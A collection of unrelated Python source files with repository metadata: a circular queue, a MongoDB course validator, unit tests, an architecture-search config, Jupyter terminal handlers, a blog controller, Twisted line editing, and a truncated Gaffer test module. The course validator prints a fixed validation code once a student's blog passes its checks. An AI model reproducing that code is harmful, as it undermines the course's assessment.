class MyCircularQueue: def __init__(self, k: int): self.q = [None] * k self.maxlen = k self.front = 0 self.rear = 0 def enQueue(self, value: int) -> bool: if self.q[self.rear] is None: self.q[self.rear] = value self.rear = (self.rear + 1 ) % self.maxlen return True return False def deQueue(self) -> bool: if self.front == self.rear and self.q[self.front] is None: return False self.q[self.front] = None self.front = (self.front +1) % self.maxlen return True def Front(self) -> int: if self.q[self.front] is None: return -1 return self.q[self.front] def Rear(self) -> int: if self.q[self.rear -1] is None: return -1 return self.q[self.rear-1] def isEmpty(self) -> bool: if self.front == self.rear and self.q[self.rear] is None: return True return False def isFull(self) -> bool: if self.front == self.rear and self.q[self.rear] is not None: return True return False # Your MyCircularQueue object will be instantiated and called as such: # obj = MyCircularQueue(k) # param_1 = obj.enQueue(value) # param_2 = obj.deQueue() # param_3 = obj.Front() # param_4 = obj.Rear() # param_5 = obj.isEmpty() # param_6 = obj.isFull()

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0a6d647cd6903b084fbe8153fe0edee421c4615e

442

py

Python

django/docs/releases/1.11.28.txt.py

roshanba/mangal

f7b428811dc07214009cc33f0beb665ead402038

[ "bzip2-1.0.6", "MIT" ]

null

django/docs/releases/1.11.28.txt.py

roshanba/mangal

f7b428811dc07214009cc33f0beb665ead402038

[ "bzip2-1.0.6", "MIT" ]

null

django/docs/releases/1.11.28.txt.py

roshanba/mangal

f7b428811dc07214009cc33f0beb665ead402038

[ "bzip2-1.0.6", "MIT" ]

null

XXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXX XXXXXXX XXXXXXX XXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXX XX XXXXX XXXXXX XXXXXXX XXXXX X XXXXXXXX XXXXX XX XXXXXXXX XXXXXXXXXXXXXX XXXXXXXXX XXX XXXXXXXXX XXX XXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXX XXXXXXXX XXX XXXXXXX XX XXX XXXXXXXXXX XXXXX X XXXXXXXX XXXXXXX XXXXXXXXXXXXXX

31.571429

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6a5a0693bd6a7c0f8cfa155d31fe890ebc999563

3,054

py

Python

src/m101j/week02/project/m101j_blog/validate_sourcecode.py

hemmerling/nosql-mongodb2013

bd2bb4f76234e0732b738f14cb474f7554c864c1

[ "Apache-2.0" ]

null

src/m101j/week02/project/m101j_blog/validate_sourcecode.py

hemmerling/nosql-mongodb2013

bd2bb4f76234e0732b738f14cb474f7554c864c1

[ "Apache-2.0" ]

null

src/m101j/week02/project/m101j_blog/validate_sourcecode.py

hemmerling/nosql-mongodb2013

bd2bb4f76234e0732b738f14cb474f7554c864c1

[ "Apache-2.0" ]

null

import pymongo import urllib2 import urllib import cookielib import random import re import string # makes a little salt def make_salt(n): salt = "" for i in range(n): salt = salt + random.choice(string.ascii_letters) return salt # this is a validation program to make sure that the blog works correctly. def create_user(username, password): try: print "Trying to create a test user ", username cj = cookielib.CookieJar() url = "http://localhost:8082/signup" data = urllib.urlencode([("email",""),("username",username), ("password",password), ("verify",password)]) request = urllib2.Request(url=url, data=data) opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) f = opener.open(request) # check that the user is in the user table connection = pymongo.Connection("mongodb://localhost", safe=True) db = connection.blog users = db.users user = users.find_one({'_id':username}) if (user == None): print "Could not find the test user ", username, "in the users collection." return False print "Found the test user ", username, " in the users collection" # check that the user has been built result = f.read() expr = re.compile("Welcome\s+"+ username) if expr.search(result): return True print "When we tried to create a user, here is the output we got\n" print result return False except: print "the request to ", url, " failed, so your blog may not be running." return False def try_to_login(username, password): try: print "Trying to login for test user ", username cj = cookielib.CookieJar() url = "http://localhost:8082/login" data = urllib.urlencode([("username",username), ("password",password)]) request = urllib2.Request(url=url, data=data) opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) f = opener.open(request) # check for successful login result = f.read() expr = re.compile("Welcome\s+"+ username) if expr.search(result): return True print "When we tried to login, here is the output we got\n" print result return False except: print "the request to ", url, " failed, so your blog may not be running." raise return False username = make_salt(7) password = make_salt(8) # try to create user if (create_user(username, password)): print "User creation successful. " # try to login if (try_to_login(username, password)): print "User login successful." print "Validation Code is ", "fhj837hf9376hgf93hf832jf9" else: print "User login failed" print "Sorry, you have not solved it yet." else: print "Sorry, you have not solved it yet."

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6a5b27469b73eded1bc8650c388be56bd3994f26

690

py

Python

Python/LongestSubstringWithoutRepeatingCharactersTest.py

TonnyL/Windary

39f85cdedaaf5b85f7ce842ecef975301fc974cf

[ "MIT" ]

205

2017-11-16T08:38:46.000Z

2022-03-06T05:50:03.000Z

Python/LongestSubstringWithoutRepeatingCharactersTest.py

santosh241/Windary

39f85cdedaaf5b85f7ce842ecef975301fc974cf

[ "MIT" ]

3

2018-04-10T10:17:52.000Z

2020-12-11T08:00:09.000Z

Python/LongestSubstringWithoutRepeatingCharactersTest.py

santosh241/Windary

39f85cdedaaf5b85f7ce842ecef975301fc974cf

[ "MIT" ]

28

2018-04-10T06:42:42.000Z

2021-09-14T14:15:39.000Z

from unittest import TestCase from LongestSubstringWithoutRepeatingCharacters import LongestSubstringWithoutRepeatingCharacters class TestLongestSubstringWithoutRepeatingCharacters(TestCase): def test_lengthOfLongestSubstring(self): lswrc = LongestSubstringWithoutRepeatingCharacters() # Expected: wke, 3 self.assertTrue(lswrc.lengthOfLongestSubstring("pwwkew") == 3) # Expected: b, 1 self.assertTrue(lswrc.lengthOfLongestSubstring("bbbbb") == 1) # Expected: abc, 3 self.assertTrue(lswrc.lengthOfLongestSubstring("abcabcbb") == 3) # Expected: vdf, 3 self.assertTrue(lswrc.lengthOfLongestSubstring("dvdf") == 3)

40.588235

97

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0.339921

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690

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98

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null

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6a5ce9dbdacda0cdea328b3b2b3585faa580788e

2,913

py

Python

experiments/examples/example_d1.py

cogsys-tuebingen/uninas

06729b9cf517ec416fb798ae387c5bd9c3a278ac

[ "MIT" ]

18

2020-11-22T16:03:08.000Z

2022-03-15T12:11:46.000Z

experiments/examples/example_d1.py

cogsys-tuebingen/uninas

06729b9cf517ec416fb798ae387c5bd9c3a278ac

[ "MIT" ]

2

2022-01-04T08:10:17.000Z

2022-01-05T08:13:14.000Z

experiments/examples/example_d1.py

cogsys-tuebingen/uninas

06729b9cf517ec416fb798ae387c5bd9c3a278ac

[ "MIT" ]

6

2021-03-08T07:08:52.000Z

2022-02-24T12:00:43.000Z

from uninas.main import Main """ search the architecture of a small network via DARTS algorithm beware that we are using fake data """ args = { "cls_task": "SingleSearchTask", "{cls_task}.save_dir": "{path_tmp}/d1/", "{cls_task}.save_del_old": True, "{cls_task}.is_test_run": True, "cls_device": "CudaDevicesManager", "{cls_device}.num_devices": 1, "cls_trainer": "SimpleTrainer", # SimpleTrainer, LightningTrainer "{cls_trainer}.max_epochs": 3, "{cls_trainer}.eval_last": 2, "{cls_trainer}.test_last": 2, "cls_exp_loggers": "TensorBoardExpLogger", "{cls_exp_loggers#0}.log_graph": False, "cls_data": "Cinic10Data", # "cls_data": "Cifar10Data", "{cls_data}.fake": True, "{cls_data}.valid_split": 0.0, "{cls_data}.batch_size_train": 2, "cls_augmentations": "DartsCifarAug", "cls_method": "DartsSearchMethod", # DartsSearchMethod "cls_network": "SearchUninasNetwork", "cls_network_body": "StackedCellsNetworkBody", "{cls_network_body}.cell_order": "n, n, r, n, n, r, n, n", "{cls_network_body}.features_first_cell": 64, "cls_network_stem": "DartsCifarStem", "{cls_network_stem}.features": 48, "cls_network_heads": "ClassificationHead", "{cls_network_heads#0}.weight": 1.0, "{cls_network_heads#0}.cell_idx": -1, "{cls_network_heads#0}.persist": "True", "cls_network_cells": "DartsCNNSearchCell, DartsCNNSearchCell", "{cls_network_cells#0}.name": "n", "{cls_network_cells#0}.arc_key": "n", "{cls_network_cells#0}.arc_shared": True, "{cls_network_cells#0}.features_mult": 1, "{cls_network_cells#0}.stride": 1, "{cls_network_cells#0}.num_concat": 4, "{cls_network_cells#0}.num_blocks": 4, "{cls_network_cells#0}.cls_block": "DartsCNNSearchBlock", "{cls_network_cells#1}.name": "r", "{cls_network_cells#1}.arc_key": "r", "{cls_network_cells#1}.arc_shared": True, "{cls_network_cells#1}.features_mult": 2, "{cls_network_cells#1}.stride": 2, "{cls_network_cells#1}.num_concat": 4, "{cls_network_cells#1}.num_blocks": 4, "{cls_network_cells#1}.cls_block": "DartsCNNSearchBlock", "cls_network_cells_primitives": "DartsPrimitives, DartsPrimitives", "cls_metrics": "AccuracyMetric", "cls_initializers": "", "cls_regularizers": "DropOutRegularizer, DropPathRegularizer", "{cls_regularizers#1}.max_prob": 0.3, "cls_criterion": "CrossEntropyCriterion", "cls_optimizers": "SGDOptimizer, AdamOptimizer", "{cls_optimizers#0}.lr": 0.05, "{cls_optimizers#0}.momentum": 0.5, "{cls_optimizers#1}.lr": 0.03, "{cls_optimizers#1}.weight_decay": 1e-2, "cls_schedulers": "CosineScheduler, ConstantScheduler", } if __name__ == "__main__": # ignore the command line, use "args" instead task = Main.new_task([], args_changes=args) task.load() task.run()

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0.015625

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null

0

1

null

0

2

6a66aa2f0fa550d9dc4dcbb66e4e224aff9ad573

1,381

py

Python

venv/Lib/site-packages/notebook/terminal/handlers.py

BoxicaLion/BasicMathFormulas

4d9782f2c0c75ecccf4c0ea995f324f93e4fb6e2

[ "MIT" ]

445

2019-01-26T13:50:26.000Z

2022-03-18T05:17:38.000Z

venv/Lib/site-packages/notebook/terminal/handlers.py

BoxicaLion/BasicMathFormulas

4d9782f2c0c75ecccf4c0ea995f324f93e4fb6e2

[ "MIT" ]

242

2019-01-29T15:48:27.000Z

2022-03-31T22:09:21.000Z

venv/Lib/site-packages/notebook/terminal/handlers.py

BoxicaLion/BasicMathFormulas

4d9782f2c0c75ecccf4c0ea995f324f93e4fb6e2

[ "MIT" ]

31

2019-03-10T09:51:27.000Z

2022-02-14T23:11:12.000Z

#encoding: utf-8 """Tornado handlers for the terminal emulator.""" # Copyright (c) Jupyter Development Team. # Distributed under the terms of the Modified BSD License. from tornado import web import terminado from notebook._tz import utcnow from ..base.handlers import IPythonHandler from ..base.zmqhandlers import WebSocketMixin class TerminalHandler(IPythonHandler): """Render the terminal interface.""" @web.authenticated def get(self, term_name): self.write(self.render_template('terminal.html', ws_path="terminals/websocket/%s" % term_name)) class TermSocket(WebSocketMixin, IPythonHandler, terminado.TermSocket): def origin_check(self): """Terminado adds redundant origin_check Tornado already calls check_origin, so don't do anything here. """ return True def get(self, *args, **kwargs): if not self.get_current_user(): raise web.HTTPError(403) return super(TermSocket, self).get(*args, **kwargs) def on_message(self, message): super(TermSocket, self).on_message(message) self.application.settings['terminal_last_activity'] = utcnow() def write_message(self, message, binary=False): super(TermSocket, self).write_message(message, binary=binary) self.application.settings['terminal_last_activity'] = utcnow()

32.116279

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1,381

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0.199131

1,381

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null

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null

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0

1

0

2

6a67fcfc3665727808e47d5048908514c8e7f43b

1,100

py

Python

app/http/controllers/BlogController.py

Balogunolalere/masonite-crud

e95f5053db486467361126e00ab56f4da3fdb819

[ "MIT" ]

1

2021-06-06T14:50:22.000Z

app/http/controllers/BlogController.py

Balogunolalere/masonite-crud

e95f5053db486467361126e00ab56f4da3fdb819

[ "MIT" ]

null

app/http/controllers/BlogController.py

Balogunolalere/masonite-crud

e95f5053db486467361126e00ab56f4da3fdb819

[ "MIT" ]

null

"""A BlogController Module.""" from masonite.request import Request from masonite.view import View from masonite.controllers import Controller from app.Post import Post class BlogController(Controller): """BlogController Controller Class.""" def __init__(self, request: Request): """BlogController Initializer Arguments: request {masonite.request.Request} -- The Masonite Request class. """ self.request = request def show(self, view: View): posts = Post.all() return view.render('posts', {'posts':posts}) def update(self, view: View, request: Request): post = Post.find(request.param('id')) return view.render('article', {'post': post}) def store(self, request:Request): post = Post.find(request.param('id')) post.body = request.input('body') post.save() return request.redirect('/articles') def remove(self,view:View,request:Request): post = Post.find(request.param('id')) return view.render('delete',{'post':post}) def delete(self, request:Request): post = Post.find(request.param('id')) post.delete() return request.redirect('/articles')

25

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0.709091

139

1,100

5.582734

0.266187

0.126289

0.092784

0.113402

0.298969

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0.137273

1,100

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0.154545

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0

null

0

null

0

1

0

1

0

2

6a6febf419baf8f465358e758f801c5fbc25d396

19,172

py

Python

src/twisted/conch/recvline.py

ndg63276/twisted

f672a20395e8beece6350631a70514f06c391bae

[ "Unlicense", "MIT" ]

2

2021-03-27T20:11:56.000Z

2021-05-04T19:34:44.000Z

src/twisted/conch/recvline.py

ndg63276/twisted

f672a20395e8beece6350631a70514f06c391bae

[ "Unlicense", "MIT" ]

20

2021-05-03T18:02:23.000Z

2022-03-12T12:01:04.000Z

src/twisted/conch/recvline.py

ndg63276/twisted

f672a20395e8beece6350631a70514f06c391bae

[ "Unlicense", "MIT" ]

2

2021-05-29T21:12:22.000Z

2021-05-30T04:56:50.000Z

# -*- test-case-name: twisted.conch.test.test_recvline -*- # Copyright (c) Twisted Matrix Laboratories. # See LICENSE for details. """ Basic line editing support. @author: Jp Calderone """ import string from typing import Dict from zope.interface import implementer from twisted.conch.insults import insults, helper from twisted.python import reflect from twisted.python.compat import iterbytes from twisted.logger import Logger _counters = {} # type: Dict[str, int] class Logging: """ Wrapper which logs attribute lookups. This was useful in debugging something, I guess. I forget what. It can probably be deleted or moved somewhere more appropriate. Nothing special going on here, really. """ def __init__(self, original): self.original = original key = reflect.qual(original.__class__) count = _counters.get(key, 0) _counters[key] = count + 1 self._logFile = open(key + "-" + str(count), "w") def __str__(self) -> str: return str(super().__getattribute__("original")) def __repr__(self) -> str: return repr(super().__getattribute__("original")) def __getattribute__(self, name): original = super().__getattribute__("original") logFile = super().__getattribute__("_logFile") logFile.write(name + "\n") return getattr(original, name) @implementer(insults.ITerminalTransport) class TransportSequence: """ An L{ITerminalTransport} implementation which forwards calls to one or more other L{ITerminalTransport}s. This is a cheap way for servers to keep track of the state they expect the client to see, since all terminal manipulations can be send to the real client and to a terminal emulator that lives in the server process. """ for keyID in ( b"UP_ARROW", b"DOWN_ARROW", b"RIGHT_ARROW", b"LEFT_ARROW", b"HOME", b"INSERT", b"DELETE", b"END", b"PGUP", b"PGDN", b"F1", b"F2", b"F3", b"F4", b"F5", b"F6", b"F7", b"F8", b"F9", b"F10", b"F11", b"F12", ): execBytes = keyID + b" = object()" execStr = execBytes.decode("ascii") exec(execStr) TAB = b"\t" BACKSPACE = b"\x7f" def __init__(self, *transports): assert transports, "Cannot construct a TransportSequence with no transports" self.transports = transports for method in insults.ITerminalTransport: exec( """\ def %s(self, *a, **kw): for tpt in self.transports: result = tpt.%s(*a, **kw) return result """ % (method, method) ) def getHost(self): # ITransport.getHost raise NotImplementedError("Unimplemented: TransportSequence.getHost") def getPeer(self): # ITransport.getPeer raise NotImplementedError("Unimplemented: TransportSequence.getPeer") def loseConnection(self): # ITransport.loseConnection raise NotImplementedError("Unimplemented: TransportSequence.loseConnection") def write(self, data): # ITransport.write raise NotImplementedError("Unimplemented: TransportSequence.write") def writeSequence(self, data): # ITransport.writeSequence raise NotImplementedError("Unimplemented: TransportSequence.writeSequence") def cursorUp(self, n=1): # ITerminalTransport.cursorUp raise NotImplementedError("Unimplemented: TransportSequence.cursorUp") def cursorDown(self, n=1): # ITerminalTransport.cursorDown raise NotImplementedError("Unimplemented: TransportSequence.cursorDown") def cursorForward(self, n=1): # ITerminalTransport.cursorForward raise NotImplementedError("Unimplemented: TransportSequence.cursorForward") def cursorBackward(self, n=1): # ITerminalTransport.cursorBackward raise NotImplementedError("Unimplemented: TransportSequence.cursorBackward") def cursorPosition(self, column, line): # ITerminalTransport.cursorPosition raise NotImplementedError("Unimplemented: TransportSequence.cursorPosition") def cursorHome(self): # ITerminalTransport.cursorHome raise NotImplementedError("Unimplemented: TransportSequence.cursorHome") def index(self): # ITerminalTransport.index raise NotImplementedError("Unimplemented: TransportSequence.index") def reverseIndex(self): # ITerminalTransport.reverseIndex raise NotImplementedError("Unimplemented: TransportSequence.reverseIndex") def nextLine(self): # ITerminalTransport.nextLine raise NotImplementedError("Unimplemented: TransportSequence.nextLine") def saveCursor(self): # ITerminalTransport.saveCursor raise NotImplementedError("Unimplemented: TransportSequence.saveCursor") def restoreCursor(self): # ITerminalTransport.restoreCursor raise NotImplementedError("Unimplemented: TransportSequence.restoreCursor") def setModes(self, modes): # ITerminalTransport.setModes raise NotImplementedError("Unimplemented: TransportSequence.setModes") def resetModes(self, mode): # ITerminalTransport.resetModes raise NotImplementedError("Unimplemented: TransportSequence.resetModes") def setPrivateModes(self, modes): # ITerminalTransport.setPrivateModes raise NotImplementedError("Unimplemented: TransportSequence.setPrivateModes") def resetPrivateModes(self, modes): # ITerminalTransport.resetPrivateModes raise NotImplementedError("Unimplemented: TransportSequence.resetPrivateModes") def applicationKeypadMode(self): # ITerminalTransport.applicationKeypadMode raise NotImplementedError( "Unimplemented: TransportSequence.applicationKeypadMode" ) def numericKeypadMode(self): # ITerminalTransport.numericKeypadMode raise NotImplementedError("Unimplemented: TransportSequence.numericKeypadMode") def selectCharacterSet(self, charSet, which): # ITerminalTransport.selectCharacterSet raise NotImplementedError("Unimplemented: TransportSequence.selectCharacterSet") def shiftIn(self): # ITerminalTransport.shiftIn raise NotImplementedError("Unimplemented: TransportSequence.shiftIn") def shiftOut(self): # ITerminalTransport.shiftOut raise NotImplementedError("Unimplemented: TransportSequence.shiftOut") def singleShift2(self): # ITerminalTransport.singleShift2 raise NotImplementedError("Unimplemented: TransportSequence.singleShift2") def singleShift3(self): # ITerminalTransport.singleShift3 raise NotImplementedError("Unimplemented: TransportSequence.singleShift3") def selectGraphicRendition(self, *attributes): # ITerminalTransport.selectGraphicRendition raise NotImplementedError( "Unimplemented: TransportSequence.selectGraphicRendition" ) def horizontalTabulationSet(self): # ITerminalTransport.horizontalTabulationSet raise NotImplementedError( "Unimplemented: TransportSequence.horizontalTabulationSet" ) def tabulationClear(self): # ITerminalTransport.tabulationClear raise NotImplementedError("Unimplemented: TransportSequence.tabulationClear") def tabulationClearAll(self): # ITerminalTransport.tabulationClearAll raise NotImplementedError("Unimplemented: TransportSequence.tabulationClearAll") def doubleHeightLine(self, top=True): # ITerminalTransport.doubleHeightLine raise NotImplementedError("Unimplemented: TransportSequence.doubleHeightLine") def singleWidthLine(self): # ITerminalTransport.singleWidthLine raise NotImplementedError("Unimplemented: TransportSequence.singleWidthLine") def doubleWidthLine(self): # ITerminalTransport.doubleWidthLine raise NotImplementedError("Unimplemented: TransportSequence.doubleWidthLine") def eraseToLineEnd(self): # ITerminalTransport.eraseToLineEnd raise NotImplementedError("Unimplemented: TransportSequence.eraseToLineEnd") def eraseToLineBeginning(self): # ITerminalTransport.eraseToLineBeginning raise NotImplementedError( "Unimplemented: TransportSequence.eraseToLineBeginning" ) def eraseLine(self): # ITerminalTransport.eraseLine raise NotImplementedError("Unimplemented: TransportSequence.eraseLine") def eraseToDisplayEnd(self): # ITerminalTransport.eraseToDisplayEnd raise NotImplementedError("Unimplemented: TransportSequence.eraseToDisplayEnd") def eraseToDisplayBeginning(self): # ITerminalTransport.eraseToDisplayBeginning raise NotImplementedError( "Unimplemented: TransportSequence.eraseToDisplayBeginning" ) def eraseDisplay(self): # ITerminalTransport.eraseDisplay raise NotImplementedError("Unimplemented: TransportSequence.eraseDisplay") def deleteCharacter(self, n=1): # ITerminalTransport.deleteCharacter raise NotImplementedError("Unimplemented: TransportSequence.deleteCharacter") def insertLine(self, n=1): # ITerminalTransport.insertLine raise NotImplementedError("Unimplemented: TransportSequence.insertLine") def deleteLine(self, n=1): # ITerminalTransport.deleteLine raise NotImplementedError("Unimplemented: TransportSequence.deleteLine") def reportCursorPosition(self): # ITerminalTransport.reportCursorPosition raise NotImplementedError( "Unimplemented: TransportSequence.reportCursorPosition" ) def reset(self): # ITerminalTransport.reset raise NotImplementedError("Unimplemented: TransportSequence.reset") def unhandledControlSequence(self, seq): # ITerminalTransport.unhandledControlSequence raise NotImplementedError( "Unimplemented: TransportSequence.unhandledControlSequence" ) class LocalTerminalBufferMixin: """ A mixin for RecvLine subclasses which records the state of the terminal. This is accomplished by performing all L{ITerminalTransport} operations on both the transport passed to makeConnection and an instance of helper.TerminalBuffer. @ivar terminalCopy: A L{helper.TerminalBuffer} instance which efforts will be made to keep up to date with the actual terminal associated with this protocol instance. """ def makeConnection(self, transport): self.terminalCopy = helper.TerminalBuffer() self.terminalCopy.connectionMade() return super().makeConnection(TransportSequence(transport, self.terminalCopy)) def __str__(self) -> str: return str(self.terminalCopy) class RecvLine(insults.TerminalProtocol): """ L{TerminalProtocol} which adds line editing features. Clients will be prompted for lines of input with all the usual features: character echoing, left and right arrow support for moving the cursor to different areas of the line buffer, backspace and delete for removing characters, and insert for toggling between typeover and insert mode. Tabs will be expanded to enough spaces to move the cursor to the next tabstop (every four characters by default). Enter causes the line buffer to be cleared and the line to be passed to the lineReceived() method which, by default, does nothing. Subclasses are responsible for redrawing the input prompt (this will probably change). """ width = 80 height = 24 TABSTOP = 4 ps = (b">>> ", b"... ") pn = 0 _printableChars = string.printable.encode("ascii") _log = Logger() def connectionMade(self): # A list containing the characters making up the current line self.lineBuffer = [] # A zero-based (wtf else?) index into self.lineBuffer. # Indicates the current cursor position. self.lineBufferIndex = 0 t = self.terminal # A map of keyIDs to bound instance methods. self.keyHandlers = { t.LEFT_ARROW: self.handle_LEFT, t.RIGHT_ARROW: self.handle_RIGHT, t.TAB: self.handle_TAB, # Both of these should not be necessary, but figuring out # which is necessary is a huge hassle. b"\r": self.handle_RETURN, b"\n": self.handle_RETURN, t.BACKSPACE: self.handle_BACKSPACE, t.DELETE: self.handle_DELETE, t.INSERT: self.handle_INSERT, t.HOME: self.handle_HOME, t.END: self.handle_END, } self.initializeScreen() def initializeScreen(self): # Hmm, state sucks. Oh well. # For now we will just take over the whole terminal. self.terminal.reset() self.terminal.write(self.ps[self.pn]) # XXX Note: I would prefer to default to starting in insert # mode, however this does not seem to actually work! I do not # know why. This is probably of interest to implementors # subclassing RecvLine. # XXX XXX Note: But the unit tests all expect the initial mode # to be insert right now. Fuck, there needs to be a way to # query the current mode or something. # self.setTypeoverMode() self.setInsertMode() def currentLineBuffer(self): s = b"".join(self.lineBuffer) return s[: self.lineBufferIndex], s[self.lineBufferIndex :] def setInsertMode(self): self.mode = "insert" self.terminal.setModes([insults.modes.IRM]) def setTypeoverMode(self): self.mode = "typeover" self.terminal.resetModes([insults.modes.IRM]) def drawInputLine(self): """ Write a line containing the current input prompt and the current line buffer at the current cursor position. """ self.terminal.write(self.ps[self.pn] + b"".join(self.lineBuffer)) def terminalSize(self, width, height): # XXX - Clear the previous input line, redraw it at the new # cursor position self.terminal.eraseDisplay() self.terminal.cursorHome() self.width = width self.height = height self.drawInputLine() def unhandledControlSequence(self, seq): pass def keystrokeReceived(self, keyID, modifier): m = self.keyHandlers.get(keyID) if m is not None: m() elif keyID in self._printableChars: self.characterReceived(keyID, False) else: self._log.warn("Received unhandled keyID: {keyID!r}", keyID=keyID) def characterReceived(self, ch, moreCharactersComing): if self.mode == "insert": self.lineBuffer.insert(self.lineBufferIndex, ch) else: self.lineBuffer[self.lineBufferIndex : self.lineBufferIndex + 1] = [ch] self.lineBufferIndex += 1 self.terminal.write(ch) def handle_TAB(self): n = self.TABSTOP - (len(self.lineBuffer) % self.TABSTOP) self.terminal.cursorForward(n) self.lineBufferIndex += n self.lineBuffer.extend(iterbytes(b" " * n)) def handle_LEFT(self): if self.lineBufferIndex > 0: self.lineBufferIndex -= 1 self.terminal.cursorBackward() def handle_RIGHT(self): if self.lineBufferIndex < len(self.lineBuffer): self.lineBufferIndex += 1 self.terminal.cursorForward() def handle_HOME(self): if self.lineBufferIndex: self.terminal.cursorBackward(self.lineBufferIndex) self.lineBufferIndex = 0 def handle_END(self): offset = len(self.lineBuffer) - self.lineBufferIndex if offset: self.terminal.cursorForward(offset) self.lineBufferIndex = len(self.lineBuffer) def handle_BACKSPACE(self): if self.lineBufferIndex > 0: self.lineBufferIndex -= 1 del self.lineBuffer[self.lineBufferIndex] self.terminal.cursorBackward() self.terminal.deleteCharacter() def handle_DELETE(self): if self.lineBufferIndex < len(self.lineBuffer): del self.lineBuffer[self.lineBufferIndex] self.terminal.deleteCharacter() def handle_RETURN(self): line = b"".join(self.lineBuffer) self.lineBuffer = [] self.lineBufferIndex = 0 self.terminal.nextLine() self.lineReceived(line) def handle_INSERT(self): assert self.mode in ("typeover", "insert") if self.mode == "typeover": self.setInsertMode() else: self.setTypeoverMode() def lineReceived(self, line): pass class HistoricRecvLine(RecvLine): """ L{TerminalProtocol} which adds both basic line-editing features and input history. Everything supported by L{RecvLine} is also supported by this class. In addition, the up and down arrows traverse the input history. Each received line is automatically added to the end of the input history. """ def connectionMade(self): RecvLine.connectionMade(self) self.historyLines = [] self.historyPosition = 0 t = self.terminal self.keyHandlers.update( {t.UP_ARROW: self.handle_UP, t.DOWN_ARROW: self.handle_DOWN} ) def currentHistoryBuffer(self): b = tuple(self.historyLines) return b[: self.historyPosition], b[self.historyPosition :] def _deliverBuffer(self, buf): if buf: for ch in iterbytes(buf[:-1]): self.characterReceived(ch, True) self.characterReceived(buf[-1:], False) def handle_UP(self): if self.lineBuffer and self.historyPosition == len(self.historyLines): self.historyLines.append(b"".join(self.lineBuffer)) if self.historyPosition > 0: self.handle_HOME() self.terminal.eraseToLineEnd() self.historyPosition -= 1 self.lineBuffer = [] self._deliverBuffer(self.historyLines[self.historyPosition]) def handle_DOWN(self): if self.historyPosition < len(self.historyLines) - 1: self.handle_HOME() self.terminal.eraseToLineEnd() self.historyPosition += 1 self.lineBuffer = [] self._deliverBuffer(self.historyLines[self.historyPosition]) else: self.handle_HOME() self.terminal.eraseToLineEnd() self.historyPosition = len(self.historyLines) self.lineBuffer = [] self.lineBufferIndex = 0 def handle_RETURN(self): if self.lineBuffer: self.historyLines.append(b"".join(self.lineBuffer)) self.historyPosition = len(self.historyLines) return RecvLine.handle_RETURN(self)

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false

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null

0

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null

0

1

0

2

6a8a153b3c58b62cde3c4b3cbce5b53100cb77e6

5,659

py

Python

python/GafferTest/__init__.py

Kthulhu/gaffer

8995d579d07231988abc92c3ac2788c15c8bc75c

[ "BSD-3-Clause" ]

1

2016-07-31T09:55:09.000Z

python/GafferTest/__init__.py

Kthulhu/gaffer

8995d579d07231988abc92c3ac2788c15c8bc75c

[ "BSD-3-Clause" ]

null

python/GafferTest/__init__.py

Kthulhu/gaffer

8995d579d07231988abc92c3ac2788c15c8bc75c

[ "BSD-3-Clause" ]

null

########################################################################## # # Copyright (c) 2011-2012, John Haddon. All rights reserved. # Copyright (c) 2011-2015, Image Engine Design Inc. All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above # copyright notice, this list of conditions and the following # disclaimer. # # * Redistributions in binary form must reproduce the above # copyright notice, this list of conditions and the following # disclaimer in the documentation and/or other materials provided with # the distribution. # # * Neither the name of John Haddon nor the names of # any other contributors to this software may be used to endorse or # promote products derived from this software without specific prior # written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS # IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, # THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR # PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR # CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, # EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, # PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR # PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF # LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING # NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # ########################################################################## from _GafferTest import * import unittest # workaround lack of expectedFailure decorator for # python < 2.7. try : expectedFailure = unittest.expectedFailure except AttributeError : def expectedFailure( f ) : def wrapper( self ) : try : f( self ) except : print "Expected failure" return wrapper from TestCase import TestCase from AddNode import AddNode from SphereNode import SphereNode from SignalsTest import SignalsTest from GraphComponentTest import GraphComponentTest from FrameNode import FrameNode from CachingTestNode import CachingTestNode from NodeTest import NodeTest from PlugTest import PlugTest from NumericPlugTest import NumericPlugTest from TypedPlugTest import TypedPlugTest from ScriptNodeTest import ScriptNodeTest from StandardSetTest import StandardSetTest from FileSystemPathTest import FileSystemPathTest from PathTest import PathTest from PathFilterTest import PathFilterTest from UndoTest import UndoTest from SpeedTest import SpeedTest from KeywordPlugNode import KeywordPlugNode from CompoundNumericPlugTest import CompoundNumericPlugTest from CompoundNumericNode import CompoundNumericNode from CompoundPlugTest import CompoundPlugTest from CompoundPlugNode import CompoundPlugNode from TypedObjectPlugTest import TypedObjectPlugTest from SplinePlugTest import SplinePlugTest from AboutTest import AboutTest from ChildSetTest import ChildSetTest from PythonApplicationTest import PythonApplicationTest from ApplicationRootTest import ApplicationRootTest from ContextTest import ContextTest from CompoundPathFilterTest import CompoundPathFilterTest from BadNode import BadNode from CapturingSlot import CapturingSlot from LazyModuleTest import LazyModuleTest from NodeBindingTest import NodeBindingTest from DictPathTest import DictPathTest from ExpressionTest import ExpressionTest from BlockedConnectionTest import 